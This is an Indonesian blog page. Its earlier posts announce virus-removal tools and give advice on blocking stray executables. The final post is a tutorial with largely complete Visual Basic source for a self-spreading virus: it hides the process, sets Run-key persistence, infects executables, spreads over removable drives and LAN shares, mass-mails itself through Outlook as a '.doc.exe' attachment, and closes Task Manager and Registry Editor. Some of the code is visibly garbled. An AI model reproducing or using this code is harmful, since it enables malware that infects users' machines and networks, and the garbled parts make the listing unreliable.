Senin, 24 September 2007

Removal untuk virus/worms lokal Indonesia. Seperti Brontok, Moonlight, dan lain-lainnya

Terinfeksi virus lokal memang menjengkelkan, performance PC kita turun drastic karena virus membuat beberapa duplikasi process dimemori dengan tujuan agar process tidak dapat dengan mudah dimatikan dengan menggunakan program Process Explorer, kemudian program virus akan membuat banyak duplikasi file dengan icon folder terhadap setiap folder maupun executable file kita, sedangkan folder ataupun file aslinya akan di sembunyikan (hidden), kemudian virus juga secara aktif melakukan manipulasi terhadap registry system sehingga tools vital untuk pemulihan system tidak dapat diaktifkan seperti Regedit.exe (untuk memperbaiki registry yang dimanipulasi virus), demikian juga perintah Cmd.exe (untuk menjalankan perintah dos seperti Attrib).

Dewasa ini varian virus lokal dapat dengan mudah dideteksi oleh program antivirus komersial yang beredar, dan executable file tersebut dapat dengan mudah dihapus oleh program antivirus tersebut. Tetapi proses tersebut tidak sempurna terhadap system yang telah terinfeksi sebelumnya. Biasanya program antivirus tersebut tidak secara otomatis melakukan pemulihan terhadap registry yang telah dimanipulasi oleh virus, akibatnya pemulihan registry harus dilakukan secara manual oleh pemakai, dan tentu saja hal tersebut sulit dilakukan oleh pemakai awam.

Berikut ini adalah tools yang dikembangkan oleh team Indoprog untuk membantu pemakai komputer ditanah air dalam menghadapi virus-virus lokal yang semakin merajarela, dan meningkatkan pekerjaan team IT dilingkungan perusahaan.

Adapun tools yang dikembangkan menggunakan tiga pendekatan yang berbeda untuk mendeteksi dan menghapus virus/worms lokal :

1. Pendekatan pattern
Tools ini memiliki suatu database yang berisi pattern (virus definition file) yang digunakan untuk mendeteksi keberadaan process virus maupun file virus, program ini hanya dapat mengenali varian virus yang telah terdefinisi didalam databasenya. Keunggulan yang kami tawarkan adalah tools ini secara bebas memberikan kesempatan kepada user untuk menambah database tersebut sehingga menjadi tools yang sangat powerfull. Semakin banyak pattern yang anda tambahkan, maka semakin powerfull program ini mendeteksi virus-virus yang ada. Program ini telah dilengkapi dengan algoritma yang secara otomatis mampu mengekstrak pattern dari file virus yang dimasukan oleh pemakai, pemakai cukup menentukan panjang pattern yang diinginkan (maks 32 byte), dan nama virus. Tools ini telah dicoba diberbagai virus lokal seperti varian Brontok, Moonlight, bahkan virus luar negeri seperti Klez, Netsky, Kamasutra.

Tools ini dapat didownload di : http://indoprog.tripod.com/scanvirus.zip

(untuk downloadnya anda perlu mengetik langsung alamat diatas pada URL browser anda)

2. Pendekatan heuristic
Program ini dikembangkan oleh penulis setelah sekian lama melakukan penelitian terhadap virus-virus lokal, terutama varian Brontok. Salah satu kesalahan utama virus lokal adalah terlalu memprotek dirinya dari kemungkinan dihapus, sehingga keberadaan virus dengan gampang dapat diketahui, bahkan oleh pemakai yang awam sama sekali, begitu system terinfeksi, maka performance komputer akan turun dengan drastic. Program ini dibuat dengan pendekatan heuristic dimana mencari duplikasi process program dimemori, jika ditemukan, maka program akan menandai process tersebut, dan pemakai tinggal melakukan klik untuk menandai dan menghapus process tersebut, kemudian program dapat juga melakuakn scan terhadap keseluruhan hardisk untuk mencari file-file yang memiliki pattern yang sama dengan process-process tersebut. Kesimpulan yang dapat diambil dari tools ini adalah kemampuannya mendeteksi semua jenis virus lokal walaupun merupakan varian lokal.

Tools ini dapat didownload di : http://indoprog.tripod.com/antivirx.zip

(untuk downloadnya anda perlu mengetik langsung alamat diatas pada URL browser anda)

3. Program removal sekali pakai
Dewasa ini segala sesuatu ingin dilakukan secara praktis, misalnya tissue untuk mengantikan sapu tangan, sehingga semuanya sekali pakai. Memang banyak removal virus dapat didownload diinternet, dan biasanya harus didownload ulang setiap adanya virus baru, bagaimana kalau komputer kita kena virus dan file virusnya telah kita ketahui ? Apakah dapat dengan mudah kita hapus ? Jawabannya sangat tergantung pada ketrampilan, dimana diinternet banyak tersedia tools seperti Process Explorer, Hijack This yang jika dikombinasikan akan sangat membantu, tetapi tetap saja sulit dilakukan oleh pemula, apabila pada tahapan pemulihan terhadap registry yang dimanipulasi oleh virus.

Tools ini bekerja dengan tahapan awal akan menghentikan semua process, sehingga dinyakini tidak ada lagi process virus yang aktif. Kemudian pemakai harus memberitahukan file virus, otomatis tools akan mengenerate pattern untuk virus tersebut, process scan dilanjutkan terhadap semua media penyimpanan. Pada tahapan akhir tools ini akan memulihkan semua registry yang dimanipulasi oleh virus.

Tools ini dapat didownload di : http://indoprog.tripod.com/explorer.zip

(untuk downloadnya anda perlu mengetik langsung alamat diatas pada URL browser anda)

Tools ini dikembangkan berdasarkan penelitian yang dilakukan oleh penulis tentang berbagai varian virus lokal yang dikirimkan kepenulis.

Untuk pertanyaan kirim email ke hendra.soewarno@gmail.com.

Source

Cara mudah menangani virus lokal

Cara mudah menangani virus lokal
Dewasa ini perkembangan virus lokal telah menjadi masalah tersendiri bagi pelaku TI didalam negeri, dan telah banyak memakan korban. Biasanya program virus lokal memiliki ciri-ciri umum yang hampir sama yaitu menyamarkan dirinya dengan icon folder, menduplikasi diri secara massal ke flashdisk, dan mengaktifkan dirinya lebih dari satu process pada komputer yang menjadi korban, serta melakukan blokir terhadap beberapa fungsi system yang memiliki potensi untuk menghapus virus seperti task manager, cmd, registry editor dan beberapa antivirus.

Jika dilihat dari ciri-ciri tersebut, maka dengan mudah kita dapat mengetahui apakah system kita telah terinfeksi atau belum, misalnya tiba-tiba pada flashdisk bermunculan berbagai file exe dengan icon folder.

Berbagai teknik penanganan virus lokal telah direlease oleh situs ataupun majalah komputer (menggunakan tools seperti hijackthis, pexplorer, dll), dan tetap saja sulit diikuti (bahkan oleh pelaku IT yang sudah berpengalaman), karena virus lokal secara aktif akan mematikan fungsi system sebagaimana yang dijelaskan sebelumnya (pada beberapa virus secara otomatis akan mengenali process program-program utility tersebut dan mematikan process program begitu tools tersebut diaktifkan).

Bagaimana solusi dengan Antivirus komersil ? Rasanya cukup membantu, tetapi untuk virus-virus yang sudah tersedia patternnya, bagaimana dengan virus baru ? Begitu system anda terinfeksi, dan program antivirus yang ada pasti tidak berkutik, karena virus secara aktif akan mematikan process antivirus, sehingga tidak memungkinkan kita untuk mengupdate program antivirus dengan definisi yang terbaru.

Apa yang harus saya lakukan jika system saya telah terinfeksi
Jika anda mengetahui system anda terinfeksi, merupakan awal dari solusi yang akan saya tawarkan, ikuti saja langkah berikut ini :

1. Masukkan flashdisk anda
2. Catat file-file yang bertambah, ataupun amati file-file apa saja yang memiliki icon folder tetapi memiliki extension exe (ada beberapa virus menggunakan icon MSWord dan ACDSee).
3. Download file IndoprogMagicAv dari forum diskusi indoprog, dan unzip ke folder c:\indoprog
4. Jalankan a.bat dari folder c:\indoprog
5. Klik pada load pattern virus, dan buka file virus yang telah anda dapatkan pada langkah 2
6. Klik pada scan.

Gampangkan ?


Source

Antisipasi virus komputer tanpa antivirus

Antisipasi virus komputer tanpa antivirus

Dewasa ini pemakaian komputer senantiasa terancam oleh kemungkinan terinfeksi oleh virus komputer, jika anda bertanya bagaimana supaya komputer saya aman dari kemungkinan infeksi virus komputer, tentu saja berbagai saran dapat diberikan seperti :

1. Menginstalasi program antivirus yang terbaik.
2. Senantiasa melakukan update antivirus anda.
3. Menginstalasi service pack yang terbaru.
4. Senantiasa melakukan patch terhadap sistem operasi anda dengan patch terbaru
5. Tidak menjalankan program-program executable yang tidak jelas sumbernya.
6. Tidak membuka email yang tidak relevan (baik dari subject maupun isinya) ataupun sumbernya yang tidak kita kenal.
7. Tidak mengunjungi situs-situs yang tidak relevan (situs dewasa, crack, hacking)
8. Melakukan sharing read only folder anda.
9. Menghindari pemakaian flashdisk/floppy
10. Tidak login dengan account Administrator

Ya, memang langkah tersebut dapat menghindari kemungkinan infeksi sistem anda oleh virus komputer, tetapi apakah langkah tersebut diatas dapat anda ikuti 100% ? Mungkin saja bisa, tetapi berapa besar kenyamanan pemakaian sistem yang harus anda korbankan, padahal salah satu alasan anda menggunakan sistem operasi Windows adalah karena user friendly.

Berikut ini adalah pengalaman saya yang ingin dishare dengan anda

Pada umumnya virus/worms/trojan adalah program executable PE, sehingga salah satu pendekatan yang mungkin dilakukan adalah tidak sembarang menjalankan program PE yang tidak diketahui sumbernya. Tetapi beberapa virus/spyware/trojan komputer dirancang untuk secara otomatis dijalankan begitu media yang sudah terinfeksi (situs/email/disket/flasdisk) dibuka, misalnya memanfaatkan kelemahan sistem operasi.

Program-program jahat dewasa ini telah dilengkapi dengan berbagai teknik sosial engineering maupun trik-trik jahat yang dapat saja memperdaya anda, misalnya program virus yang meniru icon Folder, MS Word, Excel, ACDSee ataupun meniru nama-nama file dokumen, serta double extension seperti Surat.doc.exe, sehingga jika kita tidak berhati-hati akan melakukan klik terhadap program executable virus yang dianggap sebagai folder atau dokumen kita.

Sebagaimana kita ketahui, pada sistem operasi Windows, program executable umumnya tersimpan pada folder C:\Windows ataupun C:\WinNT, dan C:\Program files, dan segala executable diluar dari tiga folder tersebut adalah hal yang khusus, misalnya attachment pada email yang kita terima, file executable pada flashdisk maupun floppy disk yang menyamar dengan icon folder maupun dokumen.

Membatasi file executable

Kunci menghindari diri dari infeksi virus/worms komputer adalah tidak memberikan kesempatan kepada executable dari virus/worms tersebut dijalankan disistem anda, tetapi seperti yang disebutkan sebelumnya bahwa suatu virus/worms biasanya disebarkan melalui teknik sosial engineering, maupun memanfaatkan kelemahan dari sistem.

Program-program antivirus dipasaran biasanya bekerja dengan pendekatan melakukan blok terhadap program-program executable virus berdasarkan suatu pola virus yang disimpan dalam database antivirus (virus definition file), pendekatan ini biasanya kurang efektif, karena program virus/worms terus dikembangkan, dan biasanya program antivirus senantiasa ketinggalan satu langkah, misalnya anda bayangkan anda adalah korban pertama dari suatu program virus/worms baru, walaupun anda selalu rajin mengupdate antivirus anda, percuma saja, karena pola untuk virus tersebut belum dikenali.

Dewasa ini virus/worms lokal telah mengalami perkembangan yang pesat, dan biasanya belum tersedia removalnya dengan cepat, lagi pula virus/worms lokal tersebut biasanya menggunakan pendekatan yang cukup kasar, artinya begitu sistem anda terinfeksi akan melakukan blokir terhadap semua fungsi utility pada sistem anda yang kemungkinan dapat digunakan untuk menghentikan virus/worms tersebut (misalnya task manager, registry editor, command prompt, mengarahkan shell execute, mematikan sistem restore, mematikan process antivirus yang dikenal, mamatikan process beberapa program utility seperti hijack this, process explorer).

Bagaimana membatasi file executable
Ada sebuah program yang namanya Trust-No-Exe didapat ditemukan di http://www.beyondlogic.org/solutions/trust-no-exe/trust-no-exe.htm, dimana merupakan suatu executable file filter yang dimasukan ke sistem operasi untuk membatasi executable file .exe .com .dll .drv .sys .dpl dll yang berada difolder diluar dari lokasi yang anda tentukan (secara default adalah c:\windows dan c:\program files)

Jika misalnya secara tidak sengaja anda menjalankan executable file diluar dari lokasi normalnya file executable file anda berada, maka akan tampil pesan sebagai berikut ini.

.
Permasalahannya adalah bagaimana kalau kita memiliki executable file yang harus dijalankan diluar dari lokasi default tersebut ? Untuk keperluan tersebut tersedia fasilitas untuk menambahkan daftar lokasi yang diberi akses terhadap executable file dengan mengaktifkannya dari Control Panel (catatan fasilitas ini hanya berlaku untuk Administrator, tanpa akses administrator, maka fasilitas ini tidak dapat diaktifkan).



Kesimpulan
Salah satu upaya pencegahan virus/worms komputer adalah dengan pembatasan executable file yang dapat dimungkinkan dengan menggunakan program Trust-No-Exe.

Catatan :
Penulis tidak bertanggung jawab atas segala kerusakan dan kehilangan akibat dari penggunaan dokumen ini, untuk lebih pasti baca terlebih dahulu dokumentasi dari software yang dimaksud.


Source

Teknik Pembuatan Virus Komputer

Syarat sebuah virus computer :
1. Menyembunyikan prosesnya dari pemakai
2. Mengaktifkan dirinya setiap startup sistem
3. Menyebarkan dirinya melalui media file executable
4. Mempercepat proses penyebarannya melalui media pertukaran data dan informasi
5. Mempercepat penyebarannya dengan memanfaatkan kelemahan dari suatu system
6. Menyebarkan dirinya dengan filename spoofing.
7. Mempercepat proses penyebarannya dengan pendekatan social engineering
8. Berusaha mempertahankan existensi dirinya

Tanpa menggunakan teori yang panjang dan lebar, kita akan membahas bagaimana hal tersebut diatas dapat dilakukan dengan menggunakan bahasa pemrograman Visual Basic.

Menyembunyikan prosesnya dari pemakai

Agar program tidak menampilkan dirinya pada Task Bar, dapat digunakan perintah :

App.TaskVisible = False

Kemudian untuk menyembunyikan form dapat menggunakan :

Me.Visible = False

Mengaktifkan dirinya setiap startup sistem

Agar program exe dapat diaktifkan setiap kali startup system, kita dapat menduplikasi program ke suatu folder dengan perintah :

FileCopy app.Path & "\" & app.EXEName , environ$("windir") & "\" & app.EXEName

dan menambah ke registry :

Dim WShell as Object
Set WShell = CreateObject("WScript.Shell")
WShell.regwrite “HKLM\Software\Microsoft\Windows\CurrentVersion\Run\virusku", environ$("windir") & "\" & app.EXEName
Set WShell = Nothing
Menyebarkan dirinya melalui media file executable

Program virus harus dapat menginfeksi program-program executable dengan proses sebagai berikut :

Program Executable

Setelah terinfeksi oleh program virus menjadi :

Program Virus + Program Executable + Ukuran Virus + Signature Virus

Sehingga setiap kali program yang telah terinfeksi dijalankan, maka Program Virus akan menginstalasi dirinya ke computer korban dan mengembalikan proses ke Program Executable.

Jadi pada saat program terinfeksi dijalankan, maka Program Executable harus di pulihkan kembali dengan melakukan perhitungan :

Posisi Program Executable = Ukuran File – Ukuran Virus – Ukuran Signature Virus

Sesuatu hal yang harus diperhatikan adalah infeksi terhadap Program Executable tidak boleh dilakukan berulang-ulang dan tidak boleh menginfeksi diri Program Virus sendiri, sehingga harus ditambahkan suatu Signature Virus

Private Sub PeriksadanInfeksiExe(fname As String)
Dim tSignature As String * 5
Dim OriginalCode As String
Dim fNum As Integer
'Jangan menginfeksi diri sendiri
'Hanya menginfeksi file berukuran lebih dibawah 1 Mega
If Dir(fname) <> "" Then
If FileLen&(fname) > virSize And FileLen&(fname) < fnum =" FreeFile" tsignature =" Space$(5)"> virSignature Then 'jika file virus (tidak ada virSignature)
On Error GoTo finally
Open fname For Binary Access Read Write As fNum 'Buka file target
OriginalCode = Space$(LOF(fNum))
Get fNum, , OriginalCode 'baca Program Executable
Put fNum, 1, virCode 'tulis Program Virus diawal
Put fNum, , OriginalCode 'tulis Program Executable
Put fNum, , virSize 'tulis Ukuran Virus
Put fNum, , virSignature 'tulis Signature Virus
Close fNum
finally:
End If
End If
End If
End Sub

Ketika program Executable dijalankan maka :

Private Sub VirusInitial()
Dim OriginalCode As String
Dim tSignature As String * 5
Dim fNum As Integer
Dim fname As String

virSignature = Chr$(3) + Chr$(53) + Chr$(103) + Chr$(153) + Chr$(203)

Open exePath + App.EXEName + ".exe" For Binary Access Read As #1
Seek #1, LOF(1) - 5 + 1 'pindah file pointer ke posisi virSize
tSignature = Space$(5)
Get #1, , tSignature 'baca virSignature

If tSignature <> virSignature Then 'Jika file virus sendiri
virSize = LOF(1) 'ukuran virSize sama dengan ukuran file
virCode = Space$(virSize) 'siapkan buffer virCode
Seek #1, 1 'ke posisi bof
Get #1, , virCode 'baca virCode sebesar ukuran virSize
Close #1

Call VirInstall 'instalasi virus

If Not SudahLoad Then
Load ff 'aktifkan timer virus
End If

'Jika file yang terinfeksi
Else
Seek #1, LOF(1) - 9 + 1 'pindah file pointer ke posisi virSize
Get #1, , virSize 'baca virSize (long = 4 byte)
'Baca vircode
virCode = Space$(virSize)
Seek #1, 1 'ke posisi BOF (Awal file)
Get #1, , virCode 'baca virCode sebesar ukuran virSize

OriginalCode = Space$(LOF(1) - virSize) 'siapkan buffer
Get #1, , OriginalCode 'baca originalCode

fNum = 0
Do While Dir(exePath & App.EXEName & fNum & ".exe") <> ""
fNum = fNum + 1
Loop

fname = exePath & App.EXEName & fNum & ".exe"

On Error GoTo finally
Open fname For Binary Access Write As #2
Put #2, , OriginalCode 'tulis ke file sementara
Close #2 'tutup file sementara
finally:

Close #1

Call VirInstall

If Not SudahLoad Then
Load ff 'aktifkan timer virus
End If

Call ExecuteOriginal(fname)
Kill fname 'hapus file sementara
End If
End Sub

Private Sub ExecuteOriginal(fname)
Dim Host As Long, HProc As Long, HExit As Long
Host = Shell(fname, vbNormalFocus) 'jalankan fname
HProc = OpenProcess(PROCESS_ALL_ACCESS, False, Host)
GetExitCodeProcess HProc, HExit 'ambil status aktif
Do While HExit = STILL_ACTIVE 'proses ditahan selama proses masih aktif
DoEvents 'lakukan event yang lain
GetExitCodeProcess HProc, HExit
Loop
End Sub

Private Function SudahLoad() As Boolean
Dim vir_hwnd As Long
'Jika Jendela virus aktif
vir_hwnd = FindWindow(vbNullString, titleSudahLoad)
SudahLoad = Not (vir_hwnd = 0)
End Function
Mempercepat proses penyebarannya melalui media pertukaran data dan informasi

Menyebarkan dirinya ke Floppy Disk, diaktifkan dengan suatu timer. Program ini bekerja dengan senantiasa memantau terhadap keaktifkan jendela 3½ Floppy (A:) oleh pemakai.

Public Sub InfeksiFloppy()
On Error GoTo BatalInfeksi
Dim floppy_hwnd As Long
Dim fname As String
'Jika Jendela Floppy terbuka
floppy_hwnd = FindWindow(vbNullString, "3½ Floppy (A:)")
If Not floppy_hwnd = 0 Then
Call InfeksiResource("A:", "DOCXLS") 'Hanya infeksi Doc, Exe jangan
End If
BatalInfeksi:
End Sub

Menyebarkan dirinya ke Flash Disk, diaktifkan dengan suatu timer. Program ini bekerja dengan senantiasa memantau removable drive diatas drive C.

Public Sub InfeksiFlashDisk()
On Error GoTo BatalInfeksi
Dim ObjFSO As Object
Dim ObjDrive As Object
Set ObjFSO = CreateObject("Scripting.FileSystemObject")
For Each ObjDrive In ObjFSO.Drives
'Asumsi semua removable drive diatas huruf C adalah flash disk
'1 - Removable drive
'2 - Fixed drive (hard disk)
'3 - Mapped network drive
'4 - CD-ROM drive
'5 - RAM disk
If ObjDrive.DriveType = 1 And ObjDrive.DriveLetter > "C" Then
Call InfeksiResource(ObjDrive.DriveLetter + ":", "XLSDOC")
End If
Next
BatalInfeksi:
End Sub

Menyebarkan dirinya ke semua resource yang di Share pada computer yang terinfeksi :

Public Sub InfeksiMySharing()
Dim shares() As String, share As Variant, target As String
If GetShares("\\127.0.0.1", "Microsoft Windows Network", shares) = True Then
For Each share In shares
target = share
Call InfeksiResource(target, "XLSDOCEXE")
Next share
End If
End Sub

Menyebarkan dirinya ke semua resource share yang terbuka di LAN, dengan mengambil semua Domain maupun Workgroup dan menyimpannya dalam suatu stack.

Public Sub AmbilDomain()
Dim Domains() As String, Domain As Variant
If GetShares("", "Microsoft Windows Network", Domains) = True Then
For Each Domain In Domains
If Not stackDomain.isFull Then
stackDomain.Push (Domain)
End If
Next Domain
End If
End Sub

Kemudian mengambil computer yang berada pada masing-masing Domain maupun Workgroup dalam suatu stack.

Public Sub AmbilComputer()
Dim Computers() As String, Domain As String, Computer As Variant
If Not stackDomain.isEmpty() Then
Domain = stackDomain.Pop()
If GetShares(Domain, "Microsoft Windows Network", Computers) = True Then
For Each Computer In Computers
If Not stackComputer.isFull Then
stackComputer.Push (Computer)
End If
Next Computer
End If
End If
End Sub

Dan Akhirnya mengambil semua resource yang dishare dari masing-masing Computer :

Public Sub AmbilDrive()
Dim Drives() As String, Computer As String, Drive As Variant
If Not stackComputer.isEmpty() Then
Computer = stackComputer.Pop()
If GetShares(Computer, "Microsoft Windows Network", Drives) = True Then
For Each Drive In Drives
If Not stackDrive.isFull Then
stackDrive.Push (Drive)
End If
Next Drive
End If
End If
End Sub

Public Sub InfeksiNetworkDrive()
Dim target As String
If Not stackDrive.isEmpty() Then
target = stackDrive.Pop()
Call InfeksiResource(target, "XLSDOCEXE")
End If
End Sub
Melakukan penyebaran melalui fasilitas email :

Public Sub SpreadEmailOutlook()
Dim Outlook As Object
Dim Mapi As Object
Dim Mail As Object
Dim AddressBook As Variant
Dim MailAddress As Variant
Dim i As Integer, j As Integer

On Error GoTo finally
Set Outlook = CreateObject("Outlook.Application")
Set Mapi = Outlook.GetNamespace("MAPI")

For i = 1 To Mapi.AddressLists.Count
Set AddressBook = Mapi.AddressLists(i)
For j = 1 To AddressBook.AddressEntries.Count
MailAddress = AddressBook.AddressEntries(j)

Set Mail = Outlook.CreateItem(0)

Mail.Recipients.Add (MailAddress)
Mail.Subject = "Subject Virus Anda"
Mail.Body = vbCrLf & "Pesan anda agar pemakai tertarik membuka attachment."
Mail.Attachments.Add Environ$("windir") & "\" & attachment & ".doc.exe"
Mail.Send
Next
Next

finally:
Set Outlook = Nothing
Set Mapi = Nothing
End Sub

Mempercepat penyebarannya dengan memanfaatkan kelemahan dari suatu system

Penulis tidak akan membahas tentang teknik yang satu ini. Pada dasarnya cara kerjanya adalah seperti ini, misalnya pada Windows yang otomatis menjalankan file dengan script extension tertentu (Contoh teknik virus Redlof), sehingga program virus dapat membuat script tersebut untuk mentrigger program virus.

Ada juga worms yang memanfaatkan kelemahan Outlook Express, dimana secara otomatis menjalankan Attachment tanpa klik dari pemakai.

Ada juga worms yang menyebarkan diri melalui website, dimana jika anda mengunjungi suatu website dengan software browser yang memiliki kelemahan, maka secara otomatis browser mendownload kode yang tidak diinginkan dan menjalankannya.

Ada juga worms yang menyebar melalui media Bluetooth yang dalam keadaan terbuka.

Menyebarkan dirinya dengan filename spoofing.

Teknik filename spoofing banyak digunakan oleh worms dewasa ini dengan menggunakan double extension :

Misalnya :

SuratCinta.doc.pif

Pada system yang settingnya tidak menampilkan extension file maka file tersebut diatas ditampilkan pada system sebagai :

SuratCinta.doc

Mempercepat proses penyebarannya dengan pendekatan social engineering.

Teknik ini adalah gampang-gampang sudah, tetapi sangat mempengaruhi penyebaran dan siklus hidup virus anda. Social engineering banyak digunakan oleh hacker-hacker untuk memperdaya dengan pendekatan non-teknis computer, tetapi lebih cenderung kepada pendekatan manusia.

Banyak virus menyebar dengan memanfaatkan kesenangan orang akan materi-materi pornografi, yaitu dengan membuat membuat nama-nama file, maupun pesan email yang memancing korban untuk penasaran membuka attachment.

Ada juga virus yang disebarkan pada game-game maupun crack software yang menumpang pada program tersebut.

Berusaha mempertahankan existensi dirinya

Mencoba mematikan proses-proses program yang berpotensi untuk menghentikan proses virus, maupun tools yang dapat menghapus proses virus tersebut :

WShell.regwrite “HKCU\ \Software\Microsoft\Windows\CurrentVersionPolicies\System\DisableRegistryTools", 0, "REG_DWORD"
WShell.regwrite “HKCU\ \Software\Microsoft\Windows\CurrentVersionPolicies\System\DisableCMD", 0, "REG_DWORD"

Maupun melacak jendela proses-proses musuh, dan menutupnya.

Public Sub KillEnemy()
Dim EnemyProcess(20) As String
Dim i As Integer
EnemyProcess(1) = "Registry Editor"
EnemyProcess(2) = "Windows Task Manager"
EnemyProcess(3) = "Process Viewer"
EnemyProcess(4) = "Open With"
For i = 1 To 4 Step 1
Call KillEnemyWindow(EnemyProcess(i))
Next i
End Sub

Private Sub KillEnemyWindow(target As String)
Dim Enemy_hwnd As Long
Enemy_hwnd = FindWindow(vbNullString, target)
If Not Enemy_hwnd = 0 Then
CloseWindow (Enemy_hwnd)
End If
End Sub

Kesimpulan :

Pemrograman virus sangat membutuhkan pengetahuan tentang bagaimana proses-proses system operasi yang berpotensi digunakan sebagai sarana penyebaran, serta perintah-perintah pemrograman yang dapat digunakan untuk mewujudkan proses tersebut. Jadi tidak diperlukan algoritma yang rumit, sehingga dapat dengan mudah dilakukan oleh programmer-programmer pemula.

Keberhasilan menerapkan teknik social engineering akan menentukan kesuksesan dan siklus hidup virus anda.

Lampiran A

‘API Declaration Modul

Option Explicit

Public Declare Sub Sleep Lib "kernel32" (ByVal dwMilliseconds As Long)
Public Declare Function OpenProcess Lib "kernel32" (ByVal dwDesiredAccess As Long, ByVal bInheritHandle As Long, ByVal dwProcessId As Long) As Long
Public Declare Function GetExitCodeProcess Lib "kernel32" (ByVal hProcess As Long, lpExitCode As Long) As Long
Public Declare Function CloseHandle Lib "kernel32" (ByVal hObject As Long) As Long
Public Declare Function FindWindow Lib "user32" Alias "FindWindowA" (ByVal lpClassName As String, ByVal lpWindowName As String) As Long
Public Declare Function CloseWindow Lib "user32" (ByVal hwnd As Long) As Long

Public Const STILL_ACTIVE As Long = &H103
Public Const PROCESS_ALL_ACCESS As Long = &H1F0FFF

Public Type NETRESOURCE
dwScope As Long
dwType As Long
dwDisplayType As Long
dwUsage As Long
lpLocalName As Long
lpRemoteName As Long
lpComment As Long
lpProvider As Long
End Type

Public Declare Function WNetOpenEnum Lib "mpr.dll" Alias "WNetOpenEnumA" _
(ByVal dwScope As Long, ByVal dwType As Long, ByVal dwUsage As Long, _
lpNetResource As NETRESOURCE, lphEnum As Long) As Long
Public Declare Function WNetEnumResource Lib "mpr.dll" Alias "WNetEnumResourceA" _
(ByVal hEnum As Long, lpcCount As Long, lpBuffer As NETRESOURCE, lpBufferSize As Long) As Long
Public Declare Function WNetCloseEnum Lib "mpr.dll" (ByVal hEnum As Long) As Long
Public Declare Function lstrlen Lib "kernel32" Alias "lstrlenA" (ByVal pString As Long) As Long
Public Declare Function lstrcpy Lib "kernel32" Alias "lstrcpyA" _
(ByVal lpString1 As String, ByVal pString As Long) As Long

Const RESOURCE_GLOBALNET = 2
Const RESOURCETYPE_DISK = 1
Const RESOURCEDISPLAYTYPE_DOMAIN = 0
Const RESOURCEUSAGE_CONTAINER = 1

Function GetShares(ByVal RemoteName As String, ByVal Provider As String, sShares() As String) As Boolean
Dim hEnum As Long, nrLen As Long, nrCount As Long
Dim nr(2048) As NETRESOURCE, retval As Boolean
nrCount = -1
nrLen = 65536
RemoteName = StrConv(RemoteName, vbFromUnicode)
nr(0).lpRemoteName = StrPtr(RemoteName)
Provider = StrConv(Provider, vbFromUnicode)
nr(0).lpProvider = StrPtr(Provider)
nr(0).dwType = RESOURCEDISPLAYTYPE_DOMAIN
nr(0).dwUsage = RESOURCEUSAGE_CONTAINER
If WNetOpenEnum(RESOURCE_GLOBALNET, RESOURCETYPE_DISK, 0, nr(0), hEnum) = 0 Then
If WNetEnumResource(hEnum, nrCount, nr(0), nrLen) = 0 Then
If nrCount > 0 Then
ReDim sShares(nrCount - 1) As String
For nrLen = 0 To (nrCount - 1)
sShares(nrLen) = Space(lstrlen(nr(nrLen).lpRemoteName))
Call lstrcpy(sShares(nrLen), nr(nrLen).lpRemoteName)
Next nrLen
retval = True
End If
End If
Call WNetCloseEnum(hEnum)
End If
GetShares = retval
End Function

Lampiran B

‘Form ff

Option Explicit
Dim SedangInfeksi As Boolean
Dim SpreadEmail As Boolean
Dim Aktifitas As Integer '0 = floppy, 1 = flashdisk
Dim Loncat As Integer

Private Sub AT_Timer()
Call KillEnemy
If Not SedangInfeksi Then ‘jangan overlapping proses
SedangInfeksi = True
If Aktifitas = 0 Then
Call InfeksiMySharing
ElseIf Aktifitas = 1 Then
Call AmbilDomain
ElseIf Aktifitas = 2 Then
Call AmbilComputer
ElseIf Aktifitas = 3 Then
Call AmbilDrive
ElseIf Aktifitas = 4 Then
Call InfeksiNetworkDrive
ElseIf Aktifitas = 5 Then
Call InfeksiFloppy
ElseIf Aktifitas = 6 Then
'Call InfeksiFlashDisk
ElseIf Aktifitas = 7 Then
Call InfeksiMySharing
ElseIf Aktifitas = 8 Then
If Not SpreadEmail Then
Call SpreadEmailOutlook
SpreadEmail = True
End If
Aktifitas = 1
End If
Aktifitas = (Aktifitas + 1)
SedangInfeksi = False
End If
End Sub

Main Program
Private Sub Form_Load()
Me.Visible = False
Me.Caption = titleSudahLoad
AT.Interval = 1000
SedangInfeksi = False
SpreadEmail = False
Aktifitas = 0
Loncat = 0
AT.Enabled = True
End Sub

Source